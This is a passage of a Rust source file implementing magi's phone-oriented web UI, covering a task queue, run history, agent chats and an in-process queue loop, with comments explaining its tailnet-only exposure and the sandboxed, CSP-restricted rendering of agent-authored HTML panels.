Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{chat, daemon, report, repos, run, talk, updater};
125
126/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
127pub const DEFAULT_PORT: u16 = 7878;
128
129/// How often the change stream restats the queue and the runs directory.
130const POLL: Duration = Duration::from_secs(1);
131
132/// Keep-alive interval for the change stream. Phones and intermediaries drop
133/// an idle connection within a minute; a comment every fifteen seconds keeps
134/// the stream alive without waking the radio often enough to matter.
135const KEEPALIVE: Duration = Duration::from_secs(15);
136
137/// Runs returned when the client does not ask, and the ceiling if it asks for
138/// more. The cap exists because the list handler parses every `run.json` it
139/// returns, and a phone cannot render two thousand rows anyway.
140const LIST_DEFAULT: usize = 50;
141/// Upper bound for `?limit=`.
142const LIST_MAX: usize = 500;
143
144/// Width of a generated task title, matching what the CLI uses.
145const TITLE_MAX: usize = 72;
146
147/// The header that makes serving agent-authored HTML defensible, sent by both
148/// panel routes and asserted verbatim by a test.
149///
150/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
151/// denies every fetch destination that is not re-allowed below, which is all of
152/// them except images and fonts; `img-src 'self' data:` means an image comes
153/// from magi's own asset route or from the document itself, so a panel cannot
154/// signal an outside server by pointing an `<img>` at it - the classic
155/// exfiltration channel for markup that cannot run script. `style-src
156/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
157/// free formatting means here and a style sheet cannot make a request that
158/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
159/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
160/// stops a form posting the owner's decision to a third party, and
161/// `frame-ancestors 'self'` stops another site framing the panel to phish with
162/// it.
163///
164/// There is deliberately no `script-src`: `default-src 'none'` already covers
165/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
166/// denied twice over. Weakening any directive here is the difference between a
167/// panel the owner reads and a page that can talk to the tailnet, which is why
168/// the test compares the whole string rather than looking for a substring.
169const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
170                         font-src data:; base-uri 'none'; form-action 'none'; \
171                         frame-ancestors 'self'";
172
173const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
174const APP_CSS: &str = include_str!("../assets/ui/app.css");
175const APP_JS: &str = include_str!("../assets/ui/app.js");
176
177/// Which address to listen on.
178#[derive(Debug, Clone, Copy, PartialEq, Eq)]
179pub enum Bind {
180    /// Ask Tailscale, and fall back to loopback with a warning.
181    Auto,
182    /// An address the operator named.
183    Addr(IpAddr),
184}
185
186impl std::str::FromStr for Bind {
187    type Err = String;
188
189    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
190    /// the CLI can take `--bind` straight into it: the one spelling of
191    /// `auto` that matters is the one this function knows.
192    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
193        if s.eq_ignore_ascii_case("auto") {
194            return Ok(Self::Auto);
195        }
196        s.parse()
197            .map(Self::Addr)
198            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
199    }
200}
201
202impl std::fmt::Display for Bind {
203    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
204        match self {
205            Self::Auto => f.write_str("auto"),
206            Self::Addr(addr) => write!(f, "{addr}"),
207        }
208    }
209}
210
211/// How to serve.
212#[derive(Debug, Clone)]
213pub struct Opts {
214    /// Address to listen on.
215    pub bind: Bind,
216    /// Port to listen on.
217    pub port: u16,
218    /// Repository used for tasks posted without one.
219    pub repo: PathBuf,
220    /// Print the URL on its own line for a caller that wants to hand it to a
221    /// browser. magi never launches one itself.
222    pub open: bool,
223    /// Merge mode override for the loop this process runs (`none`, `local`,
224    /// `pr`); `None` leaves it to each repository's own config.
225    ///
226    /// The same override `magi serve --merge` takes, and here for the same
227    /// reason: `magi web` is now the thing that runs the loop, so an operator
228    /// who wants this session's runs to open pull requests has to be able to
229    /// say so without going back to the command they no longer type.
230    pub merge: Option<String>,
231}
232
233impl Default for Opts {
234    fn default() -> Self {
235        Self {
236            bind: Bind::Auto,
237            port: DEFAULT_PORT,
238            repo: PathBuf::from("."),
239            open: false,
240            merge: None,
241        }
242    }
243}
244
245/// Everything the handlers touch.
246///
247/// The queue, the runs directory and the magi home are fields rather than
248/// process-global lookups so a test drives the real router against a temp
249/// directory instead of the operator's own history.
250#[derive(Debug, Clone)]
251pub struct Ui {
252    queue: Queue,
253    questions: Questions,
254    chats: Chats,
255    talks: Talks,
256    runs: PathBuf,
257    home: PathBuf,
258    repo: PathBuf,
259    /// Where the runs' worktrees live, for the health disk figures.
260    ///
261    /// Spelled independently of [`crate::run::default_worktree_root`] so the
262    /// test servers can point it at their own temp directory: the health route
263    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
264    /// be measuring the machine instead of the server.
265    worktrees_root: PathBuf,
266    /// Chats with an agent turn in flight right now.
267    ///
268    /// In-process and therefore not durable, which is correct: it guards
269    /// against two taps on one phone and two phones on one tailnet, both of
270    /// which are this process's own concurrency. A second `magi web` would not
271    /// see it, and a second `magi web` on the same home is already a
272    /// misconfiguration the queue's claims would catch first.
273    turns: Arc<Mutex<HashSet<String>>>,
274    /// Talks with an agent turn in flight right now. Separate from `turns`
275    /// because a talk and a chat are different stores with different ids;
276    /// sharing one set would let a chat id collide with a talk id in theory,
277    /// and there is no reason to make the two surfaces share a guard at all.
278    talk_turns: Arc<Mutex<HashSet<String>>>,
279    /// Runs this process is resuming right now.
280    ///
281    /// Separate from `turns` because a run and a chat are different things to
282    /// hold, and a resume is far more expensive to start twice: it re-asks
283    /// agent seats. Same reasoning about scope as `turns` — this guards two
284    /// taps and two phones, which is this process's own concurrency.
285    resuming: Arc<Mutex<HashSet<String>>>,
286    /// The last scan of `[repos] roots`, and when it happened. Shared across
287    /// requests so a phone opening the repository picker repeatedly does not
288    /// repeat the filesystem walk every time - see [`repos::Cache`].
289    repos_cache: repos::Cache,
290    /// Merge mode override handed to the loop this process starts.
291    merge: Option<String>,
292    /// The loop this process is running, if it is running one.
293    looping: Arc<Mutex<LoopState>>,
294    /// How a loop is actually started.
295    ///
296    /// A field rather than a direct call to [`daemon::serve_until`], because
297    /// the real loop resolves its queue and its status file through the
298    /// process-global magi home and claims whatever it finds there. A test
299    /// that started it would reach straight past its own temp directory into
300    /// the operator's live queue, overwrite the status file of the `magi
301    /// serve` that owns it, and spend real agent quota on a real competition.
302    /// What the routes have to get right is the bookkeeping, so the tests
303    /// drive the routes against a loop that only starts and stops; production
304    /// is [`launch_daemon`] and nothing reassigns it.
305    launch: Launch,
306}
307
308impl Ui {
309    /// A server over explicit paths.
310    pub fn new(
311        queue: Queue,
312        questions: Questions,
313        chats: Chats,
314        talks: Talks,
315        runs: PathBuf,
316        home: PathBuf,
317        repo: PathBuf,
318    ) -> Self {
319        Self {
320            queue,
321            questions,
322            chats,
323            talks,
324            runs,
325            home,
326            repo,
327            // The default location, overridden by `with_worktrees_root` - a
328            // builder step rather than a ninth parameter, for the reason
329            // `with_merge` gives.
330            worktrees_root: run::default_worktree_root(),
331            turns: Arc::default(),
332            talk_turns: Arc::default(),
333            resuming: Arc::default(),
334            repos_cache: repos::Cache::new(),
335            merge: None,
336            looping: Arc::default(),
337            launch: launch_daemon,
338        }
339    }
340
341    /// The operator's own state: `<home>/queue`, `<home>/questions`,
342    /// `<home>/chats`, `<home>/talks`, `<home>/runs`.
343    pub fn open(repo: PathBuf) -> Self {
344        Self::new(
345            Queue::open(),
346            Questions::open(),
347            Chats::open(),
348            Talks::open(),
349            run::runs_root(),
350            run::home(),
351            repo,
352        )
353    }
354
355    /// The merge mode the loop should use, as the command line gave it.
356    ///
357    /// A builder step rather than a seventh parameter on [`Ui::new`], because
358    /// the override is a property of how this process was invoked and not of
359    /// where its state lives - which is all the tests that build a `Ui` by
360    /// hand are saying.
361    #[must_use]
362    pub fn with_merge(mut self, merge: Option<String>) -> Self {
363        self.merge = merge;
364        self
365    }
366
367    /// Where the runs' worktrees live, when it is not the default.
368    ///
369    /// The health view sizes this directory, so a test that leaves it at the
370    /// default would be measuring the operator's own machine.
371    #[must_use]
372    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
373        self.worktrees_root = root;
374        self
375    }
376
377    /// Point the loop at something other than [`launch_daemon`].
378    ///
379    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
380    /// this crate may start the real loop.
381    #[cfg(test)]
382    #[must_use]
383    fn with_launch(mut self, launch: Launch) -> Self {
384        self.launch = launch;
385        self
386    }
387
388    /// The loop's state, for [`serve`]'s own way out.
389    fn looping(&self) -> Arc<Mutex<LoopState>> {
390        Arc::clone(&self.looping)
391    }
392
393    /// Start the loop in this process, or say who already has one.
394    ///
395    /// `foreign` is passed in rather than read here so that one request makes
396    /// one judgement about who owns the loop: reading the status file again
397    /// inside this function could refuse a start for a daemon the same
398    /// response then reports as gone.
399    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
400        if let Some(other) = foreign {
401            return Err(ApiError::conflict(format!(
402                "{} is already running the loop, so this one will not start a \
403                 second: two loops on one queue race for the same claims and \
404                 burn the agent quota twice over. Stop it where it was \
405                 started.",
406                other.who()
407            )));
408        }
409        let mut state = self.lock_loop();
410        if state.live.as_ref().is_some_and(Live::alive) {
411            return Err(ApiError::conflict(format!(
412                "this magi web process (pid {}) is already running the loop",
413                std::process::id()
414            )));
415        }
416
417        let stop = daemon::Stop::new();
418        // The CLI's own defaults for everything the UI has no opinion about:
419        // one poll interval and one retry budget, so a loop started from a
420        // phone behaves exactly like the `magi serve` it replaces.
421        let opts = daemon::Opts {
422            repo: self.repo.clone(),
423            merge: self.merge.clone(),
424            ..daemon::Opts::default()
425        };
426        let launch = self.launch;
427        let looping = Arc::clone(&self.looping);
428        let handle = tokio::spawn({
429            let opts = opts.clone();
430            let stop = stop.clone();
431            async move {
432                let failure = match launch(opts, stop).await {
433                    Ok(()) => None,
434                    Err(e) => Some(format!("{e:#}")),
435                };
436                match &failure {
437                    Some(why) => tracing::error!("the loop stopped: {why}"),
438                    None => tracing::info!("the loop stopped"),
439                }
440                // Recorded by the task itself rather than reaped by whichever
441                // request happens next, so `loop_rev` moves the moment the
442                // loop ends and a phone with the change stream open learns
443                // that it did. Clearing `live` drops this task's own handle,
444                // which only detaches it, and is the last thing it does.
445                let mut state = lock_or_recover(&looping);
446                state.live = None;
447                state.last_error = failure;
448                state.rev += 1;
449            }
450        });
451        tracing::info!(
452            "the loop is now running in this process: repo {}, merge {}",
453            opts.repo.display(),
454            opts.merge.as_deref().unwrap_or("as the config says")
455        );
456        state.live = Some(Live { stop, handle, opts });
457        // A fresh start is not the place to keep showing why the last one
458        // died; the operator has read it and pressed the button anyway.
459        state.last_error = None;
460        state.rev += 1;
461        Ok(())
462    }
463
464    /// Ask the loop to stop, without waiting for it to get there.
465    ///
466    /// Idempotent: a second tap on stop is not an error, because the first one
467    /// leaves the loop running for as long as the run in flight takes and the
468    /// operator has no way to tell a slow stop from a lost one.
469    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
470        if let Some(other) = foreign {
471            return Err(ApiError::conflict(format!(
472                "the loop belongs to {}, and this process cannot stop it - \
473                 stop it where it was started. A button that silently did \
474                 nothing would be worse than this refusal.",
475                other.who()
476            )));
477        }
478        let mut state = self.lock_loop();
479        let Some(live) = state.live.as_ref() else {
480            return Ok(());
481        };
482        // A park upgrades a stop that has already been asked for: the
483        // operator who tapped "stop" and then realised the run has an hour
484        // left must not have to restart the loop to change their mind.
485        if live.stop.stopped() && (!park || live.stop.parking()) {
486            return Ok(());
487        }
488        if park {
489            live.stop.park();
490            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
491        } else {
492            live.stop.stop();
493            tracing::info!("the loop was asked to stop; a run in flight is finished first");
494        }
495        state.rev += 1;
496        Ok(())
497    }
498
499    /// The loop as both `/api/loop` and `/api/health` report it.
500    ///
501    /// `reading` is the caller's single read of `<home>/daemon.json`, because
502    /// health answers with this view *and* the daemon object beside it: one
503    /// read per response is what stops a single answer naming a foreign owner
504    /// in one field and calling the loop free in the other.
505    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
506        let state = self.lock_loop();
507        // A loop that panicked never recorded its own end, so the handle -
508        // not the presence of the record - is what "running" means.
509        let live = state.live.as_ref().filter(|live| live.alive());
510        LoopView {
511            running: live.is_some(),
512            stopping: live.is_some_and(|live| live.stop.finishing()),
513            parking: live.is_some_and(|live| live.stop.parking()),
514            owned: live.is_some(),
515            repo: live
516                .map_or(&self.repo, |live| &live.opts.repo)
517                .display()
518                .to_string(),
519            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
520            last_error: state.last_error.clone(),
521            daemon: DaemonView::of(reading),
522        }
523    }
524
525    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
526    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
527        lock_or_recover(&self.looping)
528    }
529
530    /// Claim the right to run one turn in a chat, or refuse.
531    ///
532    /// An interview is strictly turn-based: the interviewing agent is resumed
533    /// with the conversation it already has, so two turns running at once would
534    /// resume the same session twice and append their answers in whatever order
535    /// the two CLIs finished in. The operator would come back to a transcript
536    /// with two half-turns interleaved, which is unreadable and, worse,
537    /// unfixable - there is no undo for a persisted turn.
538    ///
539    /// Refusing with a conflict rather than queueing behind the first turn is
540    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
541    /// link is exactly the case where the operator taps send twice; queueing
542    /// would answer the second tap with a second agent turn on text they only
543    /// meant to send once, and would do it a minute later when they have
544    /// stopped looking. An immediate 409 is a thing the front end can act on.
545    ///
546    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
547    /// taken to test-and-insert and released before the agent is spawned. The
548    /// returned guard removes the id on drop, which is what makes a panicking
549    /// handler or a phone that walks out of range leave the chat usable - axum
550    /// drops the handler future when the client disconnects, and without the
551    /// guard that chat would be wedged until the server restarted.
552    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
553        let mut live = self
554            .turns
555            .lock()
556            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
557        if !live.insert(id.to_owned()) {
558            return Err(ApiError::conflict(format!(
559                "chat {id} is already taking a turn"
560            )));
561        }
562        Ok(TurnGuard {
563            chat: id.to_owned(),
564            turns: Arc::clone(&self.turns),
565        })
566    }
567
568    /// [`Ui::begin_turn`]'s counterpart for a talk. Same reasoning throughout:
569    /// a talk's seat is resumed the same way a planning chat's is, so two
570    /// turns running at once would race to append to one CLI conversation.
571    fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
572        let mut live = self
573            .talk_turns
574            .lock()
575            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
576        if !live.insert(id.to_owned()) {
577            return Err(ApiError::conflict(format!(
578                "talk {id} is already taking a turn"
579            )));
580        }
581        Ok(TalkTurnGuard {
582            talk: id.to_owned(),
583            turns: Arc::clone(&self.talk_turns),
584        })
585    }
586
587    /// Park the loop for an upgrade, and report the run that is parking.
588    ///
589    /// A park rather than a stop: a stop waits out the whole competition, and
590    /// not waiting is the point of upgrading from a phone. `None` means
591    /// nothing was in flight, which is worth saying so the operator is not
592    /// told a run is parking when none is.
593    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
594        let parking = {
595            let mut state = self.lock_loop();
596            let Some(live) = state.live.as_ref() else {
597                return Ok(None);
598            };
599            let busy = live.stop.busy_now();
600            live.stop.park();
601            state.rev += 1;
602            busy
603        };
604        Ok(if parking {
605            daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
606        } else {
607            None
608        })
609    }
610
611    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
612    /// a guard that releases on drop, so a disconnected phone does not wedge
613    /// the run until the server restarts.
614    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
615        let mut live = self
616            .resuming
617            .lock()
618            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
619        if !live.insert(id.to_owned()) {
620            return Err(ApiError::conflict(format!(
621                "run {id} is already being resumed"
622            )));
623        }
624        Ok(ResumeGuard {
625            run: id.to_owned(),
626            resuming: Arc::clone(&self.resuming),
627        })
628    }
629
630    /// The router, with this state baked in.
631    ///
632    /// The three front-end files get one explicit route each rather than a
633    /// path parameter, so there is no traversal surface to get wrong: the set
634    /// of servable paths is the set written here. The asset route below is the
635    /// one exception and the only place in this server where a client names a
636    /// file; it is why [`valid_asset_name`] is checked before a path is built.
637    pub fn router(self) -> Router {
638        Router::new()
639            .route("/", get(index))
640            .route("/app.css", get(app_css))
641            .route("/app.js", get(app_js))
642            .route("/api/health", get(health))
643            .route("/api/loop", get(loop_get).post(loop_post))
644            .route("/api/upgrade", post(upgrade_post))
645            .route("/api/runs", get(runs_list))
646            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
647            .route("/api/runs/{id}/report", get(run_report))
648            .route("/api/runs/{id}/fold", post(run_fold))
649            .route("/api/runs/{id}/resume", post(run_resume))
650            .route("/api/queue", get(queue_list))
651            .route("/api/queue/{id}", delete(queue_delete))
652            .route("/api/repos", get(repos_list))
653            .route("/api/queue/{id}/hold", post(queue_hold))
654            .route("/api/queue/{id}/release", post(queue_release))
655            .route("/api/queue/{id}/priority", post(queue_priority))
656            .route("/api/queue/{id}/edit", post(queue_edit))
657            .route("/api/queue/{id}/done", post(queue_done))
658            .route("/api/questions", get(questions_list))
659            .route("/api/questions/{id}/answer", post(question_answer))
660            .route("/api/questions/{id}/panel", get(question_panel))
661            // The same asset, reachable from inside the panel by its bare
662            // filename. A document served at `.../panel` resolves `shot.png`
663            // to `.../shot.png`, which is not the asset route, so a panel
664            // written the way its author was told to write it showed broken
665            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
666            // it - deliberately - so the fix is that the panel's own URL ends
667            // in a filename and its siblings are the assets.
668            .route("/api/questions/{id}/panel/index.html", get(question_panel))
669            .route("/api/questions/{id}/panel/{name}", get(question_asset))
670            .route("/api/questions/{id}/asset/{name}", get(question_asset))
671            .route("/api/chats", get(chats_list).post(chat_post))
672            .route("/api/chats/{id}", get(chat_detail))
673            .route("/api/chats/{id}/say", post(chat_say))
674            .route("/api/chats/{id}/file", post(chat_file))
675            .route("/api/talks", get(talks_list).post(talk_post))
676            .route("/api/talks/{id}", get(talk_detail))
677            .route("/api/talks/{id}/say", post(talk_say))
678            .route("/api/talks/{id}/close", post(talk_close))
679            .route("/api/events", get(events))
680            .with_state(Arc::new(self))
681    }
682}
683
684/// One chat's turn slot, released on drop.
685///
686/// A guard rather than a matching `remove` at the end of the handler, because
687/// the handler has several early returns and one `await` that can be cancelled
688/// out from under it. A leaked id is a chat nobody can talk to again.
689#[derive(Debug)]
690struct TurnGuard {
691    chat: String,
692    turns: Arc<Mutex<HashSet<String>>>,
693}
694
695impl Drop for TurnGuard {
696    fn drop(&mut self) {
697        if let Ok(mut live) = self.turns.lock() {
698            live.remove(&self.chat);
699        }
700    }
701}
702
703/// [`TurnGuard`]'s counterpart for a talk's turn slot.
704#[derive(Debug)]
705struct TalkTurnGuard {
706    talk: String,
707    turns: Arc<Mutex<HashSet<String>>>,
708}
709
710impl Drop for TalkTurnGuard {
711    fn drop(&mut self) {
712        if let Ok(mut live) = self.turns.lock() {
713            live.remove(&self.talk);
714        }
715    }
716}
717
718/// Releases a resume claim, so a run is resumable again after the attempt.
719struct ResumeGuard {
720    run: String,
721    resuming: Arc<Mutex<HashSet<String>>>,
722}
723
724impl Drop for ResumeGuard {
725    fn drop(&mut self) {
726        if let Ok(mut live) = self.resuming.lock() {
727            live.remove(&self.run);
728        }
729    }
730}
731
732/// Bind the port, waiting briefly for a predecessor to let go of it.
733///
734/// A restart hands the address from one process to the next, and the old one
735/// holds its listener until it unwinds. A single `bind` can lose that race,
736/// and for a restart triggered from a phone that means the deck never comes
737/// back with no terminal around to say why.
738///
739/// Bounded, and only for the one error a wait can fix: anything else fails at
740/// once, because retrying it would turn a clear message into a silence.
741async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
742    const WINDOW: Duration = Duration::from_secs(10);
743    const GAP: Duration = Duration::from_millis(250);
744
745    let deadline = std::time::Instant::now() + WINDOW;
746    let mut said = false;
747    loop {
748        match tokio::net::TcpListener::bind(socket).await {
749            Ok(listener) => return Ok(listener),
750            Err(e)
751                if e.kind() == std::io::ErrorKind::AddrInUse
752                    && std::time::Instant::now() < deadline =>
753            {
754                if !said {
755                    said = true;
756                    tracing::info!(
757                        "{socket} is still held - waiting up to {}s for it, \
758                         which is what a restart looks like from here",
759                        WINDOW.as_secs()
760                    );
761                }
762                tokio::time::sleep(GAP).await;
763            }
764            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
765        }
766    }
767}
768
769/// Signalled when an upgrade has replaced the binary and the successor should
770/// take this address over. One per process: there is one address to hand on.
771static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
772
773/// Start this binary again with the same arguments, detached.
774///
775/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
776/// so the address is already free when the successor binds it. The first
777/// attempt at this spawned the successor two hundred milliseconds before
778/// exiting instead, and the released binary - which has no bind retry - died
779/// on "address already in use" with its stdio sent to null, so the deck
780/// simply never came back.
781///
782/// Detached and without inherited stdio: the successor has to outlive this
783/// process, and must not hold open a pipe a terminal is waiting on.
784fn spawn_successor() -> Result<()> {
785    let exe = std::env::current_exe().context("find this binary")?;
786    let args: Vec<String> = std::env::args().skip(1).collect();
787    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
788
789    let mut cmd = std::process::Command::new(&exe);
790    cmd.args(&args)
791        .stdin(std::process::Stdio::null())
792        .stdout(std::process::Stdio::null())
793        .stderr(std::process::Stdio::null());
794    #[cfg(windows)]
795    {
796        use std::os::windows::process::CommandExt as _;
797        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
798        // and Ctrl-C in the old terminal must not reach the successor.
799        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
800    }
801    cmd.spawn().context("start the successor")?;
802    Ok(())
803}
804
805/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
806///
807/// The server itself owns no state, so nothing here is graceful for the HTTP
808/// side's sake: the connections go with the dropped listener, which costs a
809/// phone one change-stream reconnection it was going to make anyway.
810///
811/// The signal branch is not optional now that the loop lives in this process.
812/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
813/// handler is what stops the signal terminating the process - so without a
814/// branch of our own, the first Ctrl-C after the operator started the loop
815/// would stop the loop and leave `magi web` listening forever, unkillable
816/// from the terminal it was started in.
817///
818/// What it waits for is the loop, not the sockets. A run in flight is
819/// finished first, for the reason [`daemon::serve`] gives: killing the graph
820/// mid-node leaves worktrees, branches and agent sessions behind and throws
821/// away every agent call already paid for.
822///
823/// The server therefore runs on a task of its own rather than inside the
824/// `select!`: an arm that resolves *drops* the futures the other arms were
825/// polling, so serving the address from inside one would take the deck down
826/// at the instant the handover began and keep it down for the whole park -
827/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
828/// owns the order.
829pub async fn serve(opts: Opts) -> Result<()> {
830    let (addr, warning) = resolve_bind(&opts.bind);
831    if let Some(warning) = warning {
832        tracing::warn!("{warning}");
833    }
834
835    // Process-global, and therefore set exactly once, here: the report route
836    // must never emit escape sequences into a browser, and toggling the flag
837    // per request would race with a concurrent request rendering its own
838    // report. Startup is the only moment at which no request can observe the
839    // change. Nothing in the server turns colour back on.
840    report::set_color(false);
841
842    let ui = Ui::open(opts.repo).with_merge(opts.merge);
843    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
844    // home to bracket the parking and restarting stages, and by then there is
845    // no `ui` left to read it from.
846    let home = ui.home.clone();
847    // Settles a progress record a predecessor left non-terminal - either this
848    // *is* the successor `spawn_successor` started, or the previous process
849    // died mid-handover. Before the router starts answering, so the very
850    // first `/api/health` a phone gets from this process already reflects it.
851    updater::reconcile_after_restart(&home);
852    let looping = ui.looping();
853    let socket = SocketAddr::new(addr, opts.port);
854    let listener = bind_waiting(socket).await?;
855    let url = format!("http://{addr}:{}", opts.port);
856    tracing::info!(
857        "magi web UI on {url} - there is no authentication, so anyone who can \
858         reach this address can file and hold tasks: the tailnet is the \
859         security boundary"
860    );
861    tracing::info!(
862        "the queue loop is not running yet - start it from the UI, which is \
863         the whole reason this process can: nothing in the queue moves until \
864         something is running the loop"
865    );
866    if opts.open {
867        // The URL alone on stdout, for a caller that wants to open it. magi
868        // does not spawn a browser: on the machine this usually runs on there
869        // is no display, and a failed launch would be the only output.
870        println!("{url}");
871    }
872
873    // On its own task, so nothing this function awaits can stop the address
874    // being answered. `hand_over` is where it is given up.
875    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
876    let interrupted = async {
877        if tokio::signal::ctrl_c().await.is_err() {
878            // No handler on this platform, so there is no signal to act on.
879            // Never resolving is the safe answer: a failed registration must
880            // not masquerade as the operator asking for a shutdown and take
881            // the UI down on startup.
